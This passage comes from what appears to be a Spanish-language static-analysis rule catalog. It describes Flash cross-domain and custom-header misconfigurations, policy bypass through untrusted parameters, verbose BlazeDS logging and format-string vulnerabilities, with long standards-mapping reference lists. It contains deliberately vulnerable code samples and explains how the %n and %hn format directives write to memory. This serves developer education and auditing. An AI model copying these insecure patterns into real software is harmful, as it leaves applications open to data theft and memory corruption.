[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.file_permission_manipulation
Abstract
El programa define una directiva entre dominios demasiado permisiva.
Explanation
De forma predeterminada, las aplicaciones Flash están sujetas a la misma directiva de origen, lo que garantiza que dos aplicaciones SWF pueden tener acceso a los datos respectivos solo si proceden del mismo dominio. Adobe Flash permite a los desarrolladores modificar la directiva mediante programación o a través de la configuración adecuada en el archivo de configuración crossdomain.xml. Sin embargo, es necesario tener cuidado al cambiar la configuración porque una directiva entre dominios demasiado permisiva permitirá que una aplicación malintencionada se comunique con la aplicación víctima de manera inadecuada, lo que provocará suplantación de identidad, robo de datos, retransmisión y otros ataques.

Ejemplo 1: El código siguiente es un ejemplo del uso de un carácter comodín para especificar mediante programación los dominios con los que la aplicación se puede comunicar.


flash.system.Security.allowDomain("*");


El uso de * como el argumento de allowDomain() indica que otras aplicaciones SWF pueden tener acceso a los datos desde cualquier dominio.
References
[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 942
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [24] CWE ID 863
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[14] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.6 HTTP Security Headers Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
desc.semantic.actionscript.flash_misconfiguration_overly_permissive_cross_domain_policy
Abstract
El programa define una directiva de encabezados personalizados demasiado permisiva.
Explanation
De forma predeterminada, las aplicaciones Flash están sujetas a la misma directiva de origen, lo que garantiza que dos aplicaciones SWF pueden tener acceso a los datos respectivos solo si proceden del mismo dominio. Adobe Flash permite a los desarrolladores modificar la directiva mediante programación o a través de la configuración adecuada en el archivo de configuración crossdomain.xml. A partir de Flash Player 9,0,124,0, Adobe también introdujo la capacidad de definir qué encabezados personalizados Flash Player puede enviar a través de dominios. Sin embargo, se debe tener precaución al definir esta configuración porque una directiva de encabezados personalizados demasiado permisiva, cuando se aplica junto con la directiva entre dominios demasiado permisiva, permitirá que una aplicación malintencionada envíe encabezados de su elección a la aplicación de destino, lo que podría conducir a diversos ataques o provocar errores en la ejecución de la aplicación que no sabe cómo manejar los encabezados recibidos.

Ejemplo 1: La configuración siguiente muestra el uso de un carácter comodín para especificar los encabezados que puede enviar Flash Player entre dominios.


<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>


Utilizar el* como el valor del atributo headers indica que cualquier encabezado se enviará a través de dominios.
References
[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[15] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
desc.config.actionscript.flash_misconfiguration_overly_permissive_custom_headers_policy
Abstract
El programa utiliza la entrada del usuario no validada para eludir las restricciones de directiva entre dominios.
Explanation
De forma predeterminada, las aplicaciones Flash están sujetas a la misma directiva de origen, lo que garantiza que dos aplicaciones SWF pueden tener acceso a los datos respectivos solo si proceden del mismo dominio. Adobe Flash permite a los desarrolladores modificar la directiva mediante programación o a través de la configuración adecuada en el archivo de configuración crossdomain.xml. Sin embargo, es necesario tener cuidado al decidir quién puede influir en la configuración porque una directiva entre dominios demasiado permisiva permitirá que una aplicación malintencionada se comunique con la aplicación víctima de manera inadecuada, lo que provocará suplantación de identidad, robo de datos, retransmisión y otros ataques. Las vulnerabilidades de omisión de las restricciones de directivas se producen cuando:

1. Los datos entran en una aplicación desde una fuente no confiable.

2. Los datos se utilizan para cargar o modificar la configuración de directivas entre dominios.
Ejemplo 1: El siguiente código utiliza el valor de uno de los parámetros para el archivo SWF cargado como la dirección URL desde donde cargar el archivo de directivas entre dominios.


...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
flash.system.Security.loadPolicyFile(url);
...
Ejemplo 2: El siguiente código utiliza el valor de uno de los parámetros para el archivo SWF cargado con el fin de definir la lista de dominios de confianza.


...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var domain:String = String(params["domain"]);
flash.system.Security.allowDomain(domain);
...
References
[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[12] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[13] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[14] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.actionscript.flash_misconfiguration_policy_restrictions_bypass
Abstract
El programa permite que las aplicaciones SWF de HTTP y HTTPS se comuniquen.
Explanation
A partir de Flash Player 7, no se permite que las aplicaciones SWF cargadas a través de HTTP tengan acceso a los datos de las aplicaciones SWF cargadas a través de HTTPS de forma predeterminada. Adobe Flash permite a los desarrolladores modificar esta restricción mediante programación o a través de la configuración adecuada en el archivo de configuración crossdomain.xml. Sin embargo, se deben tomar precauciones al definir esta configuración porque las aplicaciones SWF cargadas a través de HTTP son objeto de ataques Man-In-The-Middle (MITM) y, por tanto, no son de confianza.

Ejemplo: El siguiente código llama a allowInsecureDomain(), que desactiva la restricción que impide que las aplicaciones SWF cargadas a través de HTTP tengan acceso a los datos de las aplicaciones SWF cargadas a través de HTTPS.


flash.system.Security.allowInsecureDomain("*");
References
[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[15] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4, Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4, Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4, Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.4, Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control, Control Objective 6.2 - Sensitive Data Protection
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control, Control Objective 6.2 - Sensitive Data Protection
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective 6.2 - Sensitive Data Protection, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.4.1 - Web Software Communications
[25] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 862
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
desc.semantic.actionscript.flash_misconfiguration_unauthorized_data_access
Abstract
La información de depuración ayuda a los atacantes a conocer el sistema y planificar una forma de ataque.
Explanation
Si está utilizando Blaze DS para llevar a cabo el registro de eventos inesperados, el archivo del descriptor services-config.xml especifica un elemento XML "Logging" (Registro) para describir los diferentes aspectos del registro. Tiene un formato similar al siguiente:

Ejemplo:

<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>


Esta etiqueta target toma un atributo opcional que se llama level, el cual indica el nivel de registro. Si el nivel de depuración se establece en un nivel demasiado detallado, su aplicación puede escribir datos confidenciales en el archivo de registro.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark complete
[6] Standards Mapping - Common Weakness Enumeration CWE ID 11
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420, CCI-003272
[8] Standards Mapping - FIPS200 CM
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SA-15 Development Process and Standards and Tools (P2), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SA-15 Development Process and Standards and Tools, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[12] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[13] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[14] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[18] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[32] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II, APP3620 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II, APP3620 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II, APP3620 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II, APP3620 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II, APP3620 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II, APP3620 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II, APP3620 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.flex_misconfiguration_debug_information
Abstract
Al permitir que un usuario malintencionado controle la cadena de formato de una función, se puede producir un buffer overflow.
Explanation
Las vulnerabilidades de cadena de formato se producen cuando:

1. Los datos entran en la aplicación desde una fuente no confiable.



2. Los datos se transfieren como argumento de cadena de formato a una función, como sprintf(), FormatMessageW() o syslog().
Ejemplo 1: el siguiente código copia un argumento de línea de comandos en un búfer mediante snprintf().


int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}


Este código permite a un usuario malintencionado ver el contenido de la pila y escribir en esta mediante el argumento de línea de comandos que contiene una secuencia de directivas de formato. El atacante puede leer desde la pila proporcionando más directivas de formato como, por ejemplo, %x, que la función utiliza como argumentos a los que aplicar un formato. (En este ejemplo, la función no utiliza ningún argumento al que se le vaya aplicar un formato.) Mediante la directiva de formato %n, el usuario malintencionado puede escribir en la pila lo que provoca que snprintf() escriba la salida de un número de bytes hasta el momento en el argumento especificado (en lugar de leer un valor del argumento, que es el comportamiento previsto). Una versión sofisticada de este ataque utilizará cuatro operaciones de escritura escalonadas para controlar por completo el valor de un puntero en la pila.

Ejemplo 2: determinadas implementaciones realizan ataques más avanzados de forma más fácil al proporcionar directivas de formato que controlan la ubicación en la memoria para leer esta o escribir en ella. A continuación se muestra un ejemplo de estas directivas con el siguiente código, escrito para glibc:


printf("%d %d %1$d %1$d\n", 5, 9);


Este código genera la siguiente salida:


5 9 5 5


También se pueden utilizan medias operaciones de escritura (%hn) para controlar elementos DWORDS arbitrarios en la memoria, lo que reduce considerablemente la complejidad necesaria para ejecutar un ataque que, de otro modo, requeriría cuatro operaciones de escritura escalonadas como la que se menciona en el Example 1.

Ejemplo 3: las vulnerabilidades de cadena de formato sencillo a menudo proceden de atajos aparentemente inofensivos. El uso de estos atajos está tan arraigado que es posible que los programadores ni siquiera se den cuenta de que la función que están utilizando espera un argumento de cadena de formato.

Por ejemplo, la función syslog() se usa a menudo de la siguiente forma:


...
syslog(LOG_ERR, cmdBuf);
...


Como el segundo parámetro en syslog() es una cadena de formato, todas las directivas de formato incluidas en cmdBuf se interpretan como se describe en el Example 1.

El siguiente código muestra un uso correcto de syslog():


...
syslog(LOG_ERR, "%s", cmdBuf);
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
